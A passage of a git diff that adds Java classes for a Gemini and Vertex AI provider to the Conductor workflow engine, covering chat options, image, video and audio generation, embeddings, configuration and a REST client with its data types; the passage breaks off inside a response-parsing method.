--- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatOptions.java @@ -0,0 +1,69 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ToolSpec; +import org.springframework.ai.chat.prompt.ChatOptions; + +import lombok.Builder; +import lombok.Data; + +/** + * Chat options for the Gemini API. Carries standard ChatOptions fields plus Gemini-specific fields + * (tools, google search, code execution, thinking). + */ +@Data +@Builder +public class GeminiChatOptions implements ChatOptions { + + private String model; + private Double temperature; + private Double topP; + private Integer topK; + private Integer maxTokens; + private List stopSequences; + private Double frequencyPenalty; + private Double presencePenalty; + + // Gemini-specific + private List tools; + private boolean googleSearchRetrieval; + private boolean codeExecution; + private Integer thinkingBudgetTokens; + // When true, the request asks Gemini to emit thought summaries on response + // parts (each ``Part.thought() == true``). Without this, gemini-2.5 will + // run reasoning under the hood but never return summary text. Driven by + // ChatCompletion.reasoningSummary at the provider entry point. + private Boolean includeThoughts; + + @Override + public ChatOptions copy() { + return GeminiChatOptions.builder() + .model(model) + .temperature(temperature) + .topP(topP) + .topK(topK) + .maxTokens(maxTokens) + .stopSequences(stopSequences) + .frequencyPenalty(frequencyPenalty) + .presencePenalty(presencePenalty) + .tools(tools) + .googleSearchRetrieval(googleSearchRetrieval) + .codeExecution(codeExecution) + .thinkingBudgetTokens(thinkingBudgetTokens) + .includeThoughts(includeThoughts) + .build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiGenAI.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiGenAI.java new file mode 100644 index 0000000..7e48179 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiGenAI.java @@ -0,0 +1,60 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi; +import org.springframework.ai.image.ImageGeneration; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.image.ImagePrompt; +import org.springframework.ai.image.ImageResponse; + +public class GeminiGenAI implements ImageModel { + + private final GeminiApi api; + + public GeminiGenAI(GeminiApi api) { + this.api = api; + } + + @Override + public ImageResponse call(ImagePrompt request) { + var options = request.getOptions(); + String model = options.getModel(); + String promptText = request.getInstructions().getFirst().getText(); + + GeminiApi.GenerateImagesConfig config = + new GeminiApi.GenerateImagesConfig(options.getN(), "image/png", true); + + GeminiApi.GenerateImagesResponse response; + try { + response = api.generateImages(model, promptText, config); + } catch (java.io.IOException e) { + throw new RuntimeException("Gemini generateImages failed: " + e.getMessage(), e); + } + + List predictions = + response.predictions() != null ? response.predictions() : List.of(); + List generations = new ArrayList<>(); + for (GeminiApi.ImagePrediction pred : predictions) { + if (pred.bytesBase64Encoded() != null) { + org.springframework.ai.image.Image img = + new org.springframework.ai.image.Image(null, pred.bytesBase64Encoded()); + generations.add(new ImageGeneration(img)); + } + } + return new ImageResponse(generations); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertex.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertex.java new file mode 100644 index 0000000..df85f90 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertex.java @@ -0,0 +1,254 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.Media; +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi; +import org.conductoross.conductor.ai.video.Video; +import org.conductoross.conductor.ai.video.VideoGeneration; +import org.conductoross.conductor.ai.video.VideoModel; +import org.conductoross.conductor.ai.video.VideoOptions; +import org.conductoross.conductor.ai.video.VideoPrompt; +import org.conductoross.conductor.ai.video.VideoResponse; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; + +import okhttp3.OkHttpClient; + +public class GeminiVertex implements AIModel { + + public static final String NAME = "vertex_ai"; + + public static final String ALIAS = "google_gemini"; + + private final GeminiVertexConfiguration config; + private final OkHttpClient httpClient; + private final GeminiApi geminiApi; + + public GeminiVertex(GeminiVertexConfiguration config, OkHttpClient httpClient) { + this.config = config; + this.httpClient = httpClient; + this.geminiApi = createApi(); + } + + private GeminiApi createApi() { + if (config.getApiKey() != null && !config.getApiKey().isBlank()) { + // For API key mode, only pass a custom base URL if explicitly configured. + // config.getBaseURL() defaults to a Vertex AI URL which is wrong for API key mode. + String customBase = config.getRawBaseURL(); // null if not explicitly set + return GeminiApi.forApiKey(httpClient, config.getApiKey(), customBase); + } + return GeminiApi.forVertex( + httpClient, + config.getProjectId(), + config.getLocation(), + config.getGoogleCredentials()); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List getProviderAliases() { + return List.of(ALIAS); + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + try { + GeminiApi.EmbedContentResponse resp = + geminiApi.embedContent( + embeddingGenRequest.getModel(), + embeddingGenRequest.getText(), + embeddingGenRequest.getDimensions()); + if (resp.embedding() == null || resp.embedding().values() == null) { + throw new RuntimeException("No embeddings returned from Gemini API"); + } + return resp.embedding().values(); + } catch (RuntimeException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Gemini embedContent failed", e); + } + } + + @Override + public ChatModel getChatModel() { + return new GeminiChatModel(geminiApi); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + return GeminiChatOptions.builder() + .model(input.getModel()) + .temperature(input.getTemperature()) + .maxTokens(input.getMaxTokens()) + .frequencyPenalty(input.getFrequencyPenalty()) + .presencePenalty(input.getPresencePenalty()) + .stopSequences(input.getStopWords()) + .topK(input.getTopK()) + .topP(input.getTopP()) + .googleSearchRetrieval(input.isGoogleSearchRetrieval() || input.isWebSearch()) + .codeExecution(input.isCodeInterpreter()) + .tools( + input.getTools() != null && !input.getTools().isEmpty() + ? input.getTools() + : null) + .thinkingBudgetTokens( + input.getThinkingTokenLimit() > 0 ? input.getThinkingTokenLimit() : null) + // Any non-blank reasoningSummary opts the request into emitting + // thought summaries. Gemini 2.5 will not return thought text + // without ``includeThoughts=true`` even when a budget is set. + .includeThoughts( + input.getReasoningSummary() != null + && !input.getReasoningSummary().isBlank() + ? Boolean.TRUE + : null) + .build(); + } + + @Override + public ImageModel getImageModel() { + return new GeminiGenAI(geminiApi); + } + + @Override + public VideoModel getVideoModel() { + return new GeminiVideoModel(geminiApi, httpClient); + } + + @Override + public LLMResponse generateVideo(VideoGenRequest request) { + VideoOptions options = getVideoOptions(request); + VideoPrompt videoPrompt = new VideoPrompt(request.getPrompt(), options); + GeminiVideoModel videoModel = new GeminiVideoModel(geminiApi, httpClient); + VideoResponse response = videoModel.call(videoPrompt); + + return LLMResponse.builder() + .result(response.getMetadata().getJobId()) + .finishReason(response.getMetadata().getStatus()) + .build(); + } + + @Override + public LLMResponse checkVideoStatus(VideoGenRequest request) { + GeminiVideoModel videoModel = new GeminiVideoModel(geminiApi, httpClient); + VideoResponse response = videoModel.checkStatus(request.getJobId()); + String status = response.getMetadata().getStatus(); + + LLMResponse.LLMResponseBuilder builder = LLMResponse.builder().finishReason(status); + + if ("COMPLETED".equals(status)) { + List mediaList = new ArrayList<>(); + for (VideoGeneration gen : response.getResults()) { + Video video = gen.getOutput(); + String mimeType = video.getMimeType() != null ? video.getMimeType() : "video/mp4"; + + if (video.getData() != null) { + mediaList.add(Media.builder().data(video.getData()).mimeType(mimeType).build()); + } else if (video.getB64Json() != null) { + mediaList.add( + Media.builder() + .data(Base64.getDecoder().decode(video.getB64Json())) + .mimeType(mimeType) + .build()); + } else if (video.getUrl() != null) { + byte[] bytes = downloadFromUrl(video.getUrl()); + mediaList.add(Media.builder().data(bytes).mimeType(mimeType).build()); + } + } + builder.media(mediaList); + } + + return builder.build(); + } + + private byte[] downloadFromUrl(String url) { + okhttp3.Request request = new okhttp3.Request.Builder().url(url).get().build(); + try (okhttp3.Response response = httpClient.newCall(request).execute()) { + if (response.body() == null) { + throw new RuntimeException("Empty response downloading from " + url); + } + return response.body().bytes(); + } catch (RuntimeException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Failed to download from " + url, e); + } + } + + @Override + public LLMResponse generateAudio(AudioGenRequest request) { + GeminiApi.SpeechConfig speechConfig = + new GeminiApi.SpeechConfig( + new GeminiApi.VoiceConfig( + new GeminiApi.PrebuiltVoiceConfig(request.getVoice()))); + GeminiApi.GenerationConfig genConfig = + new GeminiApi.GenerationConfig( + null, + null, + null, + request.getMaxTokens(), + request.getStopWords(), + request.getFrequencyPenalty(), + null, + null, + List.of("AUDIO"), + null, + speechConfig); + + try { + GeminiApi.Content userContent = + new GeminiApi.Content("user", List.of(GeminiApi.Part.text(request.getText()))); + GeminiApi.GenerateContentResponse result = + geminiApi.generateContent( + request.getModel(), List.of(userContent), null, null, genConfig); + + List media = new ArrayList<>(); + if (result.candidates() != null) { + for (GeminiApi.Candidate c : result.candidates()) { + if (c.content() == null || c.content().parts() == null) continue; + for (GeminiApi.Part p : c.content().parts()) { + if (p.inlineData() != null && p.inlineData().data() != null) { + byte[] bytes = + java.util.Base64.getDecoder().decode(p.inlineData().data()); + media.add( + Media.builder() + .data(bytes) + .mimeType("audio/" + request.getResponseFormat()) + .build()); + } + } + } + } + return LLMResponse.builder().media(media).build(); + } catch (RuntimeException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Gemini generateAudio failed", e); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfiguration.java new file mode 100644 index 0000000..d56907a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfiguration.java @@ -0,0 +1,68 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import com.google.auth.oauth2.GoogleCredentials; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.gemini") +@AllArgsConstructor +@NoArgsConstructor +public class GeminiVertexConfiguration implements ModelConfiguration { + + private String projectId; + private String location; + private String baseURL; + private String publisher; + private String apiKey; + GoogleCredentials googleCredentials; + + private OkHttpClient httpClient; + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return baseURL == null + ? String.format("%s-aiplatform.googleapis.com:443", location) + : baseURL; + } + + /** + * Returns the raw configured baseURL without applying the Vertex AI default. Use this when the + * default would be incorrect (e.g. API key / AI Studio mode). + */ + public String getRawBaseURL() { + return baseURL; + } + + @Override + public GeminiVertex get() { + OkHttpClient client = httpClient != null ? httpClient : AIHttpClients.defaultClient(); + return new GeminiVertex(this, client); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVideoModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVideoModel.java new file mode 100644 index 0000000..10b0d27 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/GeminiVideoModel.java @@ -0,0 +1,183 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi; +import org.conductoross.conductor.ai.video.*; + +import lombok.extern.slf4j.Slf4j; + +/** + * Gemini Veo video model implementation using the GeminiApi OkHttp client. + * + *

Implements {@link AsyncVideoModel} for Google's Veo video generation models (veo-2.0, veo-3.0, + * veo-3.1). Supports text-to-video and image-to-video generation via AI Studio or Vertex AI. + * + *

The async flow uses long-running operations: + * + *

    + *
  1. {@link #call(VideoPrompt)} submits via {@code api.generateVideos()} returning an operation + * name + *
  2. {@link #checkStatus(String)} polls via {@code api.getVideosOperation()} + *
  3. When {@code operation.done()} is true, video bytes are extracted from the response + *
+ */ +@Slf4j +public class GeminiVideoModel implements AsyncVideoModel { + + private final GeminiApi api; + private final okhttp3.OkHttpClient httpClient; + + public GeminiVideoModel(GeminiApi api, okhttp3.OkHttpClient httpClient) { + this.api = api; + this.httpClient = httpClient; + } + + @Override + public VideoResponse call(VideoPrompt prompt) { + try { + VideoOptions opts = prompt.getOptions(); + String text = prompt.getInstructions().getFirst().getText(); + + // Build GenerateVideosConfig from VideoOptions + GeminiApi.GenerateVideosConfig config = + new GeminiApi.GenerateVideosConfig( + opts.getN() != null ? opts.getN() : 1, + opts.getDuration(), + opts.getAspectRatio(), + opts.getSeed(), + opts.getNegativePrompt(), + opts.getPersonGeneration(), + opts.getResolution(), + opts.getGenerateAudio(), + opts.getFps()); + + // Resolve input image for image-to-video + byte[] inputBytes = null; + String inputMime = null; + if (opts.getInputImage() != null && !opts.getInputImage().isBlank()) { + String inputImage = opts.getInputImage(); + if (inputImage.startsWith("data:")) { + // data:image/png;base64,xxx + inputMime = inputImage.substring(5, inputImage.indexOf(";")); + String base64Part = inputImage.substring(inputImage.indexOf(",") + 1); + inputBytes = Base64.getDecoder().decode(base64Part); + } else if (inputImage.startsWith("http://") || inputImage.startsWith("https://")) { + inputBytes = downloadFromUrl(inputImage); + inputMime = "image/png"; + } else { + // Assume raw base64 encoded image + inputBytes = Base64.getDecoder().decode(inputImage); + inputMime = "image/png"; + } + } + + // Submit the video generation operation (async) + GeminiApi.GenerateVideosOperation operation = + api.generateVideos(opts.getModel(), text, inputBytes, inputMime, config); + + String operationName = operation.name(); + + log.info( + "Gemini Veo video job submitted: operation={}, model={}", + operationName, + opts.getModel()); + + VideoResponseMetadata metadata = new VideoResponseMetadata(); + metadata.setJobId(operationName); + metadata.setStatus("PROCESSING"); + + return new VideoResponse(List.of(), metadata); + + } catch (Exception e) { + log.error("Failed to submit Gemini Veo video generation job", e); + throw new RuntimeException("Failed to submit video generation: " + e.getMessage(), e); + } + } + + @Override + public VideoResponse checkStatus(String jobId) { + try { + GeminiApi.GenerateVideosOperation operation = api.getVideosOperation(jobId); + + VideoResponseMetadata metadata = new VideoResponseMetadata(); + metadata.setJobId(jobId); + + if (Boolean.TRUE.equals(operation.done())) { + // Check for error + if (operation.error() != null) { + metadata.setStatus("FAILED"); + metadata.setErrorMessage(operation.error().message()); + log.error("Gemini Veo video failed: operation={}", jobId); + return new VideoResponse(List.of(), metadata); + } + + // Extract generated videos from the response + List generations = new ArrayList<>(); + + GeminiApi.GenerateVideosResult response = operation.response(); + if (response != null) { + List generatedVideos = + response.videos() != null ? response.videos() : List.of(); + + for (GeminiApi.GeneratedVideo gv : generatedVideos) { + String mime = gv.mimeType() != null ? gv.mimeType() : "video/mp4"; + Video videoObj; + if (gv.bytesBase64Encoded() != null) { + byte[] bytes = Base64.getDecoder().decode(gv.bytesBase64Encoded()); + videoObj = Video.fromBytes(bytes, mime); + } else { + // Fallback to URL if bytes not available + videoObj = new Video(gv.uri(), null, null, mime); + } + generations.add(new VideoGeneration(videoObj)); + } + } + + metadata.setStatus("COMPLETED"); + log.info( + "Gemini Veo video completed: operation={}, videos={}", + jobId, + generations.size()); + return new VideoResponse(generations, metadata); + + } else { + metadata.setStatus("PROCESSING"); + log.debug("Gemini Veo video in progress: operation={}", jobId); + return new VideoResponse(List.of(), metadata); + } + + } catch (Exception e) { + log.error("Failed to check Gemini Veo video status for operation {}", jobId, e); + throw new RuntimeException("Failed to check video status: " + e.getMessage(), e); + } + } + + private byte[] downloadFromUrl(String url) { + okhttp3.Request request = new okhttp3.Request.Builder().url(url).get().build(); + try (okhttp3.Response response = httpClient.newCall(request).execute()) { + if (response.body() == null) { + throw new RuntimeException("Empty response downloading image from " + url); + } + return response.body().bytes(); + } catch (RuntimeException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Failed to download image from " + url, e); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/api/GeminiApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/api/GeminiApi.java new file mode 100644 index 0000000..77379c4 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/gemini/api/GeminiApi.java @@ -0,0 +1,483 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini.api; + +import java.util.List; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; + +/** DTO types for the Gemini REST API, plus an OkHttp-based HTTP client for all Gemini API calls. */ +public class GeminiApi { + + // ---- HTTP client state ---- + + private static final String AI_STUDIO_BASE = "https://generativelanguage.googleapis.com"; + private static final String AI_STUDIO_VERSION = "/v1beta"; + private static final okhttp3.MediaType JSON_MEDIA = okhttp3.MediaType.parse("application/json"); + + private final okhttp3.OkHttpClient httpClient; + private final String endpointBase; // e.g. "https://generativelanguage.googleapis.com/v1beta" + private final String apiKey; // null for Vertex + private final com.google.auth.oauth2.GoogleCredentials credentials; // null for API key mode + private final com.fasterxml.jackson.databind.ObjectMapper objectMapper; + + /** Factory: API-key mode (AI Studio / generativelanguage.googleapis.com). */ + public static GeminiApi forApiKey( + okhttp3.OkHttpClient httpClient, String apiKey, String customBase) { + String base = + (customBase != null && !customBase.isBlank()) + ? customBase + AI_STUDIO_VERSION + : AI_STUDIO_BASE + AI_STUDIO_VERSION; + return new GeminiApi(httpClient, base, apiKey, null); + } + + /** Factory: Vertex AI mode. */ + public static GeminiApi forVertex( + okhttp3.OkHttpClient httpClient, + String projectId, + String location, + com.google.auth.oauth2.GoogleCredentials credentials) { + String base = + "https://" + + location + + "-aiplatform.googleapis.com/v1" + + "/projects/" + + projectId + + "/locations/" + + location + + "/publishers/google"; + return new GeminiApi(httpClient, base, null, credentials); + } + + private GeminiApi( + okhttp3.OkHttpClient httpClient, + String endpointBase, + String apiKey, + com.google.auth.oauth2.GoogleCredentials credentials) { + this.httpClient = httpClient; + this.endpointBase = endpointBase; + this.apiKey = apiKey; + this.credentials = credentials; + this.objectMapper = + new com.netflix.conductor.common.config.ObjectMapperProvider().getObjectMapper(); + } + + // ---- URL helpers ---- + + private String modelUrl(String model, String aiStudioVerb, String vertexVerb) { + String verb = apiKey != null ? aiStudioVerb : vertexVerb; + String url = endpointBase + "/models/" + model + ":" + verb; + return apiKey != null ? url + "?key=" + apiKey : url; + } + + private String modelUrl(String model, String verb) { + return modelUrl(model, verb, verb); + } + + private String operationUrl(String operationName) { + if (apiKey != null) { + // AI Studio: operationName is the bare operation id + return AI_STUDIO_BASE + AI_STUDIO_VERSION + "/" + operationName + "?key=" + apiKey; + } + // Vertex: operationName is a full resource path like "projects/.../operations/xxx" + // Strip the version prefix from endpointBase to get the Vertex host + String vertexBase = endpointBase.replaceAll("/v1/projects/.*", ""); + return vertexBase + "/v1/" + operationName; + } + + private okhttp3.Request.Builder authRequest(String url) throws java.io.IOException { + okhttp3.Request.Builder builder = new okhttp3.Request.Builder().url(url); + if (credentials != null) { + if (credentials.getAccessToken() == null) { + credentials.refresh(); + } else { + credentials.refreshIfExpired(); + } + builder.header( + "Authorization", "Bearer " + credentials.getAccessToken().getTokenValue()); + } + return builder; + } + + private String executePost(String url, Object body) throws java.io.IOException { + String json = objectMapper.writeValueAsString(body); + okhttp3.Request request = + authRequest(url).post(okhttp3.RequestBody.create(json, JSON_MEDIA)).build(); + try (okhttp3.Response response = httpClient.newCall(request).execute()) { + String resp = response.body() != null ? response.body().string() : ""; + if (!response.isSuccessful()) { + throw new java.io.IOException( + "Gemini API error %d: %s".formatted(response.code(), resp)); + } + return resp; + } + } + + private String executeGet(String url) throws java.io.IOException { + okhttp3.Request request = authRequest(url).get().build(); + try (okhttp3.Response response = httpClient.newCall(request).execute()) { + String resp = response.body() != null ? response.body().string() : ""; + if (!response.isSuccessful()) { + throw new java.io.IOException( + "Gemini API error %d: %s".formatted(response.code(), resp)); + } + return resp; + } + } + + // ---- API methods ---- + + public GenerateContentResponse generateContent( + String model, List contents, GenerationConfig config) + throws java.io.IOException { + return generateContent(model, contents, null, null, config); + } + + public GenerateContentResponse generateContent( + String model, + List contents, + Content systemInstruction, + List tools, + GenerationConfig config) + throws java.io.IOException { + GenerateContentRequest req = + new GenerateContentRequest(contents, systemInstruction, tools, config); + String url = modelUrl(model, "generateContent"); + String json = objectMapper.writeValueAsString(req); + try (okhttp3.Response response = + httpClient + .newCall( + authRequest(url) + .post(okhttp3.RequestBody.create(json, JSON_MEDIA)) + .build()) + .execute()) { + String body = response.body() != null ? response.body().string() : ""; + if (!response.isSuccessful()) { + // Some Gemini thinking models reject temperature — retry without it. + if (response.code() == 400 + && body.contains("temperature") + && config != null + && config.temperature() != null) { + return generateContent( + model, contents, systemInstruction, tools, config.withoutTemperature()); + } + throw new java.io.IOException( + "Gemini API error %d: %s".formatted(response.code(), body)); + } + return objectMapper.readValue(body, GenerateContentResponse.class); + } + } + + public EmbedContentResponse embedContent( + String model, String text, Integer outputDimensionality) throws java.io.IOException { + Content content = new Content(null, List.of(Part.text(text))); + EmbedContentRequest req = new EmbedContentRequest(content, null, outputDimensionality); + return objectMapper.readValue( + executePost(modelUrl(model, "embedContent"), req), EmbedContentResponse.class); + } + + public GenerateImagesResponse generateImages( + String model, String promptText, GenerateImagesConfig config) + throws java.io.IOException { + GenerateImagesRequest req = new GenerateImagesRequest(new ImagePrompt(promptText), config); + return objectMapper.readValue( + executePost(modelUrl(model, "generateImages", "predict"), req), + GenerateImagesResponse.class); + } + + public GenerateVideosOperation generateVideos( + String model, + String text, + byte[] inputImageBytes, + String inputMimeType, + GenerateVideosConfig config) + throws java.io.IOException { + java.util.Map instance = new java.util.LinkedHashMap<>(); + instance.put("prompt", text); + if (inputImageBytes != null) { + instance.put( + "image", + java.util.Map.of( + "bytesBase64Encoded", + java.util.Base64.getEncoder().encodeToString(inputImageBytes), + "mimeType", + inputMimeType != null ? inputMimeType : "image/png")); + } + GenerateVideosRequest req = new GenerateVideosRequest(List.of(instance), config); + return objectMapper.readValue( + executePost(modelUrl(model, "generateVideos", "predictLongRunning"), req), + GenerateVideosOperation.class); + } + + public GenerateVideosOperation getVideosOperation(String operationName) + throws java.io.IOException { + if (apiKey != null) { + // AI Studio: GET the operation resource + return objectMapper.readValue( + executeGet(operationUrl(operationName)), GenerateVideosOperation.class); + } else { + // Vertex AI: POST to fetchPredictOperation + String vertexBase = endpointBase.replaceAll("/publishers/google$", ""); + String url = vertexBase + "/" + operationName + ":fetchPredictOperation"; + return objectMapper.readValue( + executePost(url, java.util.Map.of()), GenerateVideosOperation.class); + } + } + + // --- Request DTOs --- + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record GenerateContentRequest( + List contents, + @JsonProperty("systemInstruction") Content systemInstruction, + List tools, + @JsonProperty("generationConfig") GenerationConfig generationConfig) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Content(String role, List parts) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Part( + String text, + @JsonProperty("functionCall") FunctionCallPart functionCall, + @JsonProperty("functionResponse") FunctionResponsePart functionResponse, + @JsonProperty("inlineData") InlineData inlineData, + Boolean thought) { + + public static Part text(String text) { + return new Part(text, null, null, null, null); + } + + public static Part functionCall(String name, Map args) { + return new Part(null, new FunctionCallPart(name, args), null, null, null); + } + + public static Part functionResponse(String name, Map response) { + return new Part(null, null, new FunctionResponsePart(name, response), null, null); + } + + /** + * Inline image (or other binary) part. {@code mimeType} is e.g. {@code image/png}; {@code + * base64Data} is the raw base64 payload without any {@code data:} URI prefix. + */ + public static Part inlineData(String mimeType, String base64Data) { + return new Part(null, null, null, new InlineData(mimeType, base64Data), null); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record FunctionCallPart(String name, Map args) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record FunctionResponsePart(String name, Map response) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record InlineData(String mimeType, String data) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Tool( + @JsonProperty("functionDeclarations") List functionDeclarations, + @JsonProperty("googleSearch") Map googleSearch, + @JsonProperty("codeExecution") Map codeExecution) { + + public static Tool withGoogleSearch() { + return new Tool(null, Map.of(), null); + } + + public static Tool withCodeExecution() { + return new Tool(null, null, Map.of()); + } + + public static Tool withFunctionDeclarations(List decls) { + return new Tool(decls, null, null); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record FunctionDeclaration( + String name, String description, @JsonProperty("parameters") Object parameters) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record GenerationConfig( + Double temperature, + @JsonProperty("topP") Double topP, + @JsonProperty("topK") Integer topK, + @JsonProperty("maxOutputTokens") Integer maxOutputTokens, + @JsonProperty("stopSequences") List stopSequences, + @JsonProperty("frequencyPenalty") Double frequencyPenalty, + @JsonProperty("presencePenalty") Double presencePenalty, + @JsonProperty("responseMimeType") String responseMimeType, + @JsonProperty("responseModalities") List responseModalities, + @JsonProperty("thinkingConfig") ThinkingConfig thinkingConfig, + @JsonProperty("speechConfig") SpeechConfig speechConfig) { + + public GenerationConfig withoutTemperature() { + return new GenerationConfig( + null, + topP, + topK, + maxOutputTokens, + stopSequences, + frequencyPenalty, + presencePenalty, + responseMimeType, + responseModalities, + thinkingConfig, + speechConfig); + } + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ThinkingConfig( + @JsonProperty("thinkingBudget") Integer thinkingBudget, + @JsonProperty("includeThoughts") Boolean includeThoughts) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record SpeechConfig(@JsonProperty("voiceConfig") VoiceConfig voiceConfig) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record VoiceConfig( + @JsonProperty("prebuiltVoiceConfig") PrebuiltVoiceConfig prebuiltVoiceConfig) {} + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record PrebuiltVoiceConfig(@JsonProperty("voiceName") String voiceName) {} + + // --- Response DTOs --- + + @JsonIgnoreProperties(ignoreUnknown = true) + public record GenerateContentResponse( + List candidates, + @JsonProperty("usageMetadata") UsageMetadata usageMetadata, + @JsonProperty("responseId") String responseId) { + + /** Concatenate text from non-thought parts, mirroring SDK result.text(). */ + public String text() { + if (candidates == null || candidates.isEmpty()) return ""; + StringBuilder sb = new StringBuilder(); + for (Candidate c : candidates) { + if (c.content() == null || c.content().parts() == null) continue; + 